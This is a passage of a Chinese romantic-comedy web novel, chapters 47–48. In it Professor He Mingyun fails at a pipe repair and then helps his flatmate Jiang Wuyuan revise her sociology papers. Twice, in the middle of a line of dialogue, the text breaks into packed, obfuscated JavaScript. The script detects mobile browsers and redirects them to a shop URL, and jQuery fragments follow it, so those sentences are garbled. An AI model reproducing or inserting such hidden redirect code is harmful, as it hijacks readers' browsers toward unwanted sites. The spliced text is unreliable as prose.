47. 管道维修 江无远看到贺鸣云站在门外,脑海里浮现的完全不是“夜袭”之类的香艳剧情,而是“贺教授被保安驱逐、被禁止睡在办公室、深夜回家住、准备把她赶去桥洞下面睡”的惊悚剧情。 那种事情不要啊! 江无远把门打开,十分惊恐:“贺教授?你来干嘛?” 贺鸣云白天应该喝了不少咖啡,去水肿效果一流,此时鼻梁高挺、下颌线锋利,比她记忆里的还要帅上两分。 江无远此时终于后知后觉,想到何回那条“今晚可以性幻想你家贺教授了”的放肆微信,咽了口口水。还好她是女的,没有喉结,不会有“喉结上下滚动”那么明显而猥琐的视觉效果。 贺鸣云说实话,挺茫然的,这不是他家吗?江老师警惕地盯着他,仿佛他是个上门修水管的水管工,还准备要查一查他的管工证。 他解释道:“楼下说墙面渗水,物业让看看是不是我们家管道的问题。本来应该明天白天来的,但我明天有个会走不开,所以晚上来打扰你了。” 江无远大惊:“我们家这么高档的房子也会漏水?” 贺鸣云笑了声:“我的拖鞋呢?你是不是收起来了?” “我放阳台了,不好意思,等我下。” 江无远鞋子多,她趁其不备,鸠占鹊巢,把贺鸣云的鞋都顺去阳台了。 贺鸣云一言不发蹲下换鞋。 江无远挺不好意思的,解释道:“那什么,你鞋柜太小了。而且你的鞋老是放在鞋柜里,不好,要晒晒太阳,通通风。” “知道了,”贺鸣云换好鞋站起来,面色平静,“回头我买个大点的鞋柜。还有什么用不惯的吗?家里还需要添置什么东西?” 江无远脸上有点发烫:“没,没有了。” 贺鸣云把袖子卷起来,趴在地上检查洗手间的下水水管。不知道他是体态不好还是骨盆前倾,江无远发现他做类似的动作时,屁股总是翘着。 就……挺翘的。不输布拉德皮特。 鬼使神差地,江无远问:“贺教授,你屁股好啦?” 贺鸣云一头撞上盥洗盆,哎哟一声。 “不好意思,你继续,我不打扰你沉浸式修水管了。” 贺鸣云哀怨地看了她一眼,没吭声,继续研究水管。 江无远看他趴在那儿研究了半天,还是一头雾水的样子,忍不住说:“要不还是叫物业来看看?” “我会的,”贺鸣云坚持,不知道在跟谁较劲,“在美国的时候,我都自己修这些的。” 见江无远沉默,他急了,指着盥洗池下方的水管:“你看这个接口,湿的,在渗水,肯定是垫圈老化了,换个垫圈就行,小问题,十分钟搞定。” 贺鸣云从储物柜里薅出个工具箱,扳手上面全是锈迹。江无远不好打击他的自信心和显摆欲,装作没看见,手却很诚实地开始在手机上搜附近的维修工人联系方式。 贺鸣云清了清嗓子,把衬衫袖子挽到手肘,趴在地上开始拧垫圈。 随着他的动作,小臂的肌肉变得紧绷,江无远决定先不找维修师傅了,先观察下贺鸣云,啊不是,是先观察下维修情况。 不到两分钟,贺鸣云成功拆下老垫圈。他也不嫌麻烦,特意伸长了手,把管道垫圈递给江无远看。 江无远配合地热烈鼓掌:“贺教授文武双全,上得厅堂下得厨房!” 贺鸣云洋洋得意,从工具箱里摸出一个新垫圈。 说是新垫圈,江无远瞅着像是退休返聘的。“贺教授,你这个垫圈看着旧旧的,你什么时候买的啊?还能用吗?” 贺鸣云不记得了,保守估计起码买了两年了。 但他自信慧眼识珠,不买便宜货,坚称:“我在五金店亲手挑的,起码能用十年,没问题的。” 贺鸣云仔细地把垫圈卡上去,用扳手拧紧螺帽。江无远一时色迷心窍,再度陷入对他小臂线条的欣赏中,忘了保持对权威的质疑。 “江老师你看,这种U型管连接处这里,使力要小心,”贺鸣云还贴心地边拧边讲解,“要保持平衡,不然一边紧一边松,可能会受力不均导致漏水。我现在拧紧了,已经转不动了。再用扳手轻轻地来一下——” 他还没说完,洗手间里“哒”的一声异响。 贺鸣云手上的动作一顿。 江无远皱眉:“贺教授,好像是水管里面的声音。” “没事,”贺鸣云故作镇定,“水管老化了,上下水正常的声音。” 话音刚落,又是“哒哒”两声。 江无远有种不好的预感。“贺教授,你先起来,我觉得可能——” 话音未落,趁贺鸣云还没反应过来、依然趴在地上、脸正对着水管时,水管发出扑哧一声巨响,U型管接口处断开,水柱从裂口处汹涌喷出,正好扇在贺鸣云脸上。 他痛苦地躺倒在地,手里的扳手应声落地。 “贺教授!你振作一点!” 江无远冲过去要扶他,脚下一滑压在贺鸣云肚子上,贺鸣云嗷了一声,看起来更痛苦了。 水柱在压力作用下越飙越猛,高歌猛进,在洗手间逼仄的空间里尽情喷射,把叠叠乐趴在地上的两人浇了个透心凉。 ***** 李师傅都收工了,本不想接这种小单。奈何住户竟然愿意打赏一百块,咱蓝领不跟钱过不去,李师傅吭哧吭哧,赶到了案发现场。 卫生间一片狼藉,地上、墙上、镜子上全都是水,毛巾也全部湿了。 最搞笑的是房子的主人,年轻的两口子,好像受到了巨大的惊吓,安静地站在边上,一言不发。俩人长得还都挺好看,整了个湿发造型,跟模特儿似的,楚楚可怜地站在一起。 地上还胡乱扔着俩人换下来的衣服。 李师傅八卦地多看了他们两眼,女主人还算正常,只是脸色有点苍白;男主人却两颊绯红,眼神躲闪,看着还有点虚。 李师傅摇摇头,现在的年轻人啊,就爱整这些刺激的玩法。 他蹲下看了眼水管上的巨大裂口,问:“怎么搞成这样子的哦?这么大个口子。” 贺鸣云垂头丧气,脸黑如碳。 江无远忙说:“猫弄的。” 李师傅更吃惊了:“猫弄的?你家猫力气这么大?” 江无远支支吾吾:“嗯……长得挺高……挺大一只猫。” ***** 求助:猫一直不响怎么办? 送走李师傅,贺鸣云不让江无远插手,沉默地拖了地、擦了墙,又把毛巾和脏衣服丢进了洗衣机。 江无远劝他去洗个澡,以免感冒。 他死活不去,说天气热没关系。还睁着眼睛说瞎话,说什么“其实我也没被淋多少水”“其实水管只破了一小个口子”。 江无远怕他真自闭了,安慰道:“怎么了贺教授,真往心里去了啊?你又不是专业的水管工,失误很正常啊。而且也不一定是你的错,就是水管老化了,脆了嘛,谁上手都会破的。” 贺鸣云峻拒她的体恤:“无意深入讨论此问题。” 江无远话锋一转:“行吧,那来帮我看下论文,提升下价值感。” 贺鸣云怀疑:“现在?这么突然?你什么时候对论文这么上心了?” 江无远被喷了一身,也没什么耐心:“反正你也睡不着,赶紧的。” “我其实睡得着……” 江无远已经把论文塞他手里了。 这是一篇社会学专业的论文,作者署名“谢依然”。 “这是谁?” “就是那个告飞飞的学妹,你还记得吧,情趣用品集赞那个。” 贺鸣云皱眉看着她。 “我们上次登门道歉,人家家长说了,就操心这事儿。孩子一心学术,但是论文怎么也写不好,你帮她看看嘛,就是你们专业的。” 贺鸣云嘟囔:“把我当AI使唤。” “别给自己脸上贴金,AI会修水管。” “……” ***** 贺鸣云为了证明自己是个有用的男人,铆足了劲儿给谢依然改论文,还洋洋洒洒,给她列了二十篇参考文献。 江无远趁机去冲了个澡。她也没多想,胡乱擦了下头发,就去客厅看贺鸣云的修改情况。 “怎么样啦?能改吗?” 贺鸣云被她香得六神无主:“嗯……嗯,好了。基本好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337021|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 江无远还是望着他,眼睛也湿漉漉的。 贺鸣云有种不祥的预感,咽了咽口水:“又怎么了?” “我还有一篇论文,你买一赠一,帮我再看一篇嘛。” “你这算什么买一赠一,你是捆绑销售、强买强卖吧?”贺鸣云揉了揉眉心,办公室的沙发睡着不太舒服,他是真累了,“什么论文?又是哪个学生的?” “是我的,最近写的,”江无远竟然有一丝腼腆,“是个很粗的初稿,只是整合了一些灵感,但我感觉不错,想请你帮忙看看,判断一下质量怎么样。” 贺鸣云接过去一看,狐疑地念出了声:“《超越‘恋爱脑’叙事:女性间非婚恋话题的传播困境研究》?” 江无远尴尬地摸了摸鼻子,她才不会告诉贺鸣云,这个话题还是和何回讨论他的时候,受到的启发。 “这话题挺新颖的,研究方法也是你擅长的网络民族志和文本分析。准备投什么期刊?” “嗯……最后这里我列了几本,”江无远指给他看,“虽然不是非常顶尖的C刊,但也都是不错的期刊。” 贺鸣云看完江无远的笔记,抬起头看着她:“为什么说,‘虽然不是非常顶尖的C刊’?” 江无远不解其意:“嗯?我们学院的老师一般都发《新闻与传播研究》《国际新闻界》《新闻大学》《现代传播》,有个内部鄙视链,觉得这几本是最好的,其它的要水一点。” 她头发还是半湿的,乱糟糟地搭在肩膀上,脸上又是懵懵的表情,像个他带着读博的小孩子。贺鸣云心里升起一种难以名状的柔情。 “C刊就是C刊,没有什么更顶尖的说法。你同事爱发某些刊物,可能是他们和这些刊物建立了联系、更容易获得发表,或者是他们的学术研究和写作风格有路径依赖,适合某些刊物。不能说明这些刊物就更有水平。” 江无远怀疑地盯着贺鸣云。不是,你之前不是还在说,课题有高下之分吗?吃错药了? 贺鸣云转移了话题:“性别角色社会化是心理学理论。” “对,我也咨询了冷教授,他给我发了好多参考文献,你看——” “……冷恩哲?” 贺鸣云扑克脸习惯了,不高兴也就是嘴角下撇两个像素点,江无远根本看不出来,她甚至回答得很开朗:“对呀,就是我们答辩那个冷教授,上次晚宴你不是还加了人家微信的?” 贺鸣云嘟囔:“早知道不加了,烦人。” “嗯?你说什么?” “没什么,”贺鸣云咳嗽了两声,“你这个话题其实也涉及很多社会学理论。” 江无远摸了摸下巴:“有吗?非要说的话,当然,涉及社交媒体和自我展示的,都能扯上戈夫曼,公共领域和私人领域,社会共同体,之类的概念。但会不会太老套了?” 贺鸣云强烈抗议:“哪里老套了,这叫经典!你别急,等等我,马上给你找参考文献。” “我不急,我也没让你帮我找……” 贺鸣云立刻进入心流状态,江无远也不好催他。她去把头发吹干,把衣服晾好,还抽空敷了个面膜。 中途问贺鸣云要不要吃泡面,被峻拒。 等贺鸣云弄完,都凌晨两点了。 毕竟是帮她看论文,江无远大度表示:“你今天就在家里睡吧,这么晚了开车不安全。” 贺鸣云警惕地望着她。 “你睡主卧,我睡客卧,我会把门锁好的。你瞪着我干嘛……你是不是代入错角色了,我都还没警惕呢!” 贺鸣云最终还是去洗了头澡,换了套睡衣,边拿毛巾擦头边往外面走。 跟电视剧里演的一模一样。也不知道这些男的怎么回事,明明浴室里就有吹风机,他们就是不吹头发,一定要走到客厅里擦头,擦得一地的水。 有的还不穿上衣,男德低下,品行恶劣。 再往下演,江无远就应该咽口水,脸绯红,跟他在那儿探戈了。 呵呵,江无远当然不会心乱,豪宅和男色,晋升和恋爱,孰轻孰重,一目了然。 “浴室地上的水记得刮掉,”她严肃地对贺鸣云说,“锁好卧室门。晚安。” 48. 智性性感 临近十一假期,江无远良心发现,要是连七天小长假都让贺鸣云睡办公室,那她也太不是人了,于是打电话让他回来住。 贺鸣云扭扭捏捏,嘴上说不要,没半小时就收拾好行李回来报到了。并经常在公共区域不经意地扶扶腰,体现当事人睡办公室睡得腰肌劳损的委曲求全、自我牺牲之情。 江无远工作后习惯了独居,突然又和一个人身处同一屋檐下,倒是意外地,没什么异样感。 虽然她在笔记本上似乎窥见了贺鸣云的心意,但江无远不是自恋的人,她清楚异性之间有若有若无的好感,本就是正常现象,人类就是会被激素控制。而这种冲动往往会在两个月内——比如发现男的不坐在马桶上尿尿、导致马桶圈上有尿渍后——烟消云散。 江无远打算他不说,她不问,他一说,她惊讶。真到那时候了再临场发挥。 ***** 他没说。 他甚至好像都不放屁,不呼吸。 贺鸣云很安静,大多数时候都呆在书房里工作,吃饭都不吧唧嘴,就坐那儿闭着嘴快速咀嚼。那画面看着还挺诡异的,像只得了自闭症的猫。 江无远发现他在家里时,就没那么板正和死装了,也会在桌子边东倒西歪的,也会看着看着东西就在沙发上睡着(照例拿书或者杂志盖着肚子),还偷她买的零食和水果吃。 *** 这天贺鸣云吃完早餐,突然问:“江老师,你十一假期什么安排?” 江无远心里警铃大作,贺鸣云不会是要约她去看电影、爬山之类的吧?他的无色无味无声无害,不会是装的吧? 她警惕回复:“找中介看房。” 贺鸣云竟然秒回:“这个不急,你就住这里好了。我们合住也没事,你从来不来书房,也不发出噪音,一点都不会打扰我。” 江无远惊疑未定,怎么回事?他发现她是根贤内助了吗?他终于在同一屋檐下发现真爱了吗?他要求婚了吗? 贺鸣云接着说:“没别的安排的话,我们先聊一下你的论文。你没问题的话,趁着假期,我们一起去做个初步的田野调查。” 啥? ***** 贺鸣云说:“《超越‘恋爱脑’叙事:女性间非婚恋话题的传播困境研究》这篇先放一放,你可以慢慢搜集数据,不急着写。” 他竟然还把标题一字不落地背下来了。 这篇本来就还在开题阶段,江无远顺从地点了点头。 “上次你发我的论文里,最成熟的是数字灵工这篇,这篇可以最快发表。” 江无远也对这篇比较满意,现在被一向严格的贺鸣云肯定了,腰杆更直了:“你也觉得我写得很好吧?还不是这两年写的哦,是我初出茅庐写的哦,我也觉得很有前瞻性!” 贺鸣云笑了笑:“你一直就喜欢用深度访谈、参与式观察这些研究方法啊。” 他没直接表扬,江无远颇感不爽:“对啊,有意见?” “没意见,你以前就写得很好。但你的论文结构上总是有问题,应该是缺乏系统性指导的原因,没成体系。” 江无远愣了愣,给他机会,他还真批评上了。“什么意思?” 贺鸣云叽里呱啦说了一大堆,江无远一句没听懂。 贺鸣云略一思索,说:“就像降龙十八掌,你只会其中十五掌,所以连不起来,整体结构是乱的。” 江无远看了他一眼。“你开始看武侠小说了?” “嗯。坐过来,现在演的是,马钰教郭靖内功心法。” 江无远一笑,原来是才刚刚从《射雕英雄》看起。 “需要打坐吗,道长?” 贺鸣云笑了笑,没接茬,接着说:“你看,引言部分没有充分论证现有文献的研究情况。引言不是为了做综述,而是为了向审稿人证明,现有研究对这个话题的研究还不够充分,所以你的研究有必要的。” “明白。” “然后这里,你看,这里很早就出现了这个词,这应该是你自创的?但缺乏解释。你需要对这个词的灵感来源进行解释。” “好,我知道了。” “第二、三部分都是关于主播自我认同矛盾的,第五部分虽然偏重数据分析,但结论和第三部分的文本分析重合,结构上有点乱,需要调整。” 贺鸣云已经完全进入导师的状态,眼神犀利,语速很快,边说边敲批注,和刚刚在餐桌上把煎饼果子吃得到处掉渣的自闭大猫判若两人。 “这篇论文研究的问题源于实践,所以你在分析时不自觉割裂了理论和实践,想突出内部视角和外部视角的研究差异,结果导致了结构的混乱。” 她写这篇论文时是觉得这里有点怪,贺鸣云这么一说,江无远豁然开朗。“那我怎么处理比较好?” “我找了几篇社会学类似结构的论文给你参考,先来看这篇。” 江无远不是第一次近距离看贺鸣云工作,也不是第一次接受他的指导。但之前她要么在看戏,要么在不服气,还从来没有这样心无旁骛地欣赏过他认真工作的样子。 江无远上大学时看了三遍BBC版的《神探夏洛克》,当时流行一句话:Brainyisthenewsexy.(智性是性感新潮流。) 贺教授今天穿了件黑色的V领T恤,大臂和胸背线条一览无余,还露出两截漂亮的锁骨。 海澜之家怎么会有这种不正经的衣服卖? 传道授业的人这么穿妥当吗? 江无远感到自己的思想正在急速滑坡,神经系统控制不住眼睛,视线无法锁定在电脑屏幕上,老往贺教授身上瞟。 她必须立刻脱离这种危险的氛围。 江无远猛地站起来,吓贺鸣云一跳。 “怎么了?”他的表情满怀关切,大概是误会她吃坏肚子、准备冲进厕所之类的。 江无远慌慌张张地说:“我,我去买咖啡,你喝什么?” 贺鸣云一脸认真,被他传统帅哥的浓眉大眼和淳朴神情一反衬,黑色V领显得更离经叛道、令人尖叫了。 可惜贺鸣云不仅不解别人的风情,也不解自己的魅力,他显然从来没有把自己和“性感”这个词挂过钩。他对自己的定位是“严格的审稿人”“好用的工具人”“随叫随到的冤大头”“江老师手上最好用的AI”。 他认真严肃地表示:“买杯浓点的,还有另外两篇论文,要弄很久。谢谢。” ***** “来,咖啡,休息一下。” 贺鸣云刚进入心流状态呢,接过咖啡继续看论文,坚决不休息。 江无远很诧异:“贺教授,你都不累的吗?” 贺鸣云更诧异:“江老师,你这就累了?” 江无远叹气:“你让我做田野做访谈拍视频,我还能坚持,一写论文我就累了。” 贺鸣云摇摇头:“像我大徒弟。” 贺鸣云一说起他带的研究生博士生,就会化身古风小生,一口一个“徒弟”“徒儿”的。 还不太熟的时候,被贺鸣云说话气得要死的时候,江无远劝自己多看看贺鸣云的闪光点,善意地想象一下他和钟若晚这些学生在一起的样子——怎么说呢,如果你特别努力地脑补,那和贺门学生在一起时,他的嘴角大概还是上升了两个像素点的。 其实江无远还是很喜欢他难得温柔的样子的。 她决心让这似有似无的温馨延续一会儿,耐心问道:“你大徒弟是什么样的?” 贺鸣云抬眼看她:“你对论文不感兴趣,对我大徒弟感兴趣?” 江无远点头:“我兴趣广泛。” 贺鸣云倒背如流:“背景不错,学术能力尚可,研究兴趣广泛,有点爱玩,总体来说是个好学生。” “不爱听这些官方的,说说你的想法。” 贺鸣云话风一变:“沉不住气还死犟,写自己感兴趣的东西文思泉涌的,一写点严肃的正经的,就天天嚷着写不出来要跳楼。还好不算太笨,勉强顺利毕业了。” 江无远被他噎了下:“你说的是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348275|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,还是故意说给我听的?” 贺鸣云无辜地眨眨眼睛:“不是你问的吗?我还没讲完。” “……你接着说。” 贺鸣云继续说:“不过确实也不太聪明,自尊心又强,找工作找得很难,现在勉强找了个英国烂学校的教职当跳板。这么凑合下去,可能会清贫地度过余生,私立医院都不敢去。暗恋同事也不敢说,其实我怀疑那个男的是个gay——” 江无远打断他:“贺鸣云。” 贺教授社交经验较少,还不懂“被语气严肃地喊全名”这件事的可怕程度,无辜地问:“嗯?怎么?” “我好希望你的徒弟清理门户啊。” ***** “最后是关于直播电商重塑乡土社会关系这篇,这篇可算和我的研究沾边了,”贺鸣云活动了下指关节,一副要大开杀戒的兴奋模样,“这篇很好,不仅可以写乡村带货的独特直播话术,直播如何改变传统的农村社会关系,还可以写直播对农村权力结构的影响。” 江无远点点头:“我也很想好好写这篇,直播带货这个话题本来就比较热,和乡村振兴结合在一起,研究价值比较高,还能作为以后申请相关课题的铺垫。” 贺鸣云很自然地代入了合作者的身份:“嗯,我也喜欢这个话题。第三部分这个案例,我突然想到有篇论文里有个能够搭上边?的概念,你等一下。” “在哪儿呢,在哪儿呢……快出来,快出来……”贺鸣云一边嘟囔,一边在电脑里翻找论文。 也许是习惯了一个人工作、生活,他专心做事的时候,非常喜欢自言自语。做事不顺时还会跟自己发火,碎碎念“你怎么这么笨”“是不是老糊涂了”。 江无远很喜欢听他自个儿在那里咪呀喵喵呀呜的,像一只变得稍许健谈了的自闭的猫,观赏起来很有趣味。 “啊,在这儿!”他高兴地指了指屏幕,“江老师你看,这一段。” 贺鸣云担心她看不清,把笔记本电脑推到她面前。 江无远还没从刚刚的吸猫状态抽离出来,有点懵,眯着眼睛找贺鸣云说的是哪段。 她还得看下上下文来理解,可恶的贺鸣云,不是每个人都像他这样,会量子阅读的。 贺鸣云伸手越过江无远的背去够鼠标,想给她高亮标注下,却暗中形成了一个暧昧的环抱姿势。 江无远悄悄深呼吸了一口——贺教授用的是舒肤佳沐浴露,好一个经济适用男。 兄弟,你好香…… 兄弟…… 江无远没忍住,深深吸了两口。 被吸的受害者被卖了还帮人数钱,问:“江老师,你也有鼻炎?” 还体贴地抽了两张抽纸递给江无远,关切地望着她。 “不……对,我有,我呼吸急促,呼吸困难,我过敏……” ***** 终于理出了初版框架,两个人同时向后一倒,瘫靠在椅背上,长舒一口气。 “贺教授,我假期还是头一回这么努力呢。” 贺鸣云一张嘴又开始得罪她:“江老师,你还要多多努力。” 还好江无远已经习以为常,不和他计较。“你饿了吗?吃点什么?” 贺鸣云毫不犹豫:“我要吃那个韩国的面。” 他们之前准备举报孔富顺的材料时,一起在学校的便利店吃过几次泡面。江老师还带他吃了次据说在韩国很火的马克定食,给贺鸣云留下了深刻印象。 江无远想想就忍俊不禁,贺鸣云每次都瞪着巨大的眼睛说“不要”“不吃”“这个热量太高”“我不吃垃圾食品的”“这个对肠胃和心脏都非常的不好”,结果每每吃得满头大汗,后来甚至要问一句“江老师,你剩的半碗还吃吗”。 “好,我去便利店买点,等我。” 贺鸣云跟着站起身来:“我也去。” 江无远打趣他:“你去干嘛?又要检查热量表啊?” “不是,我结账,”贺鸣云讪讪道,“省得你又投诉我偷你的东西吃。”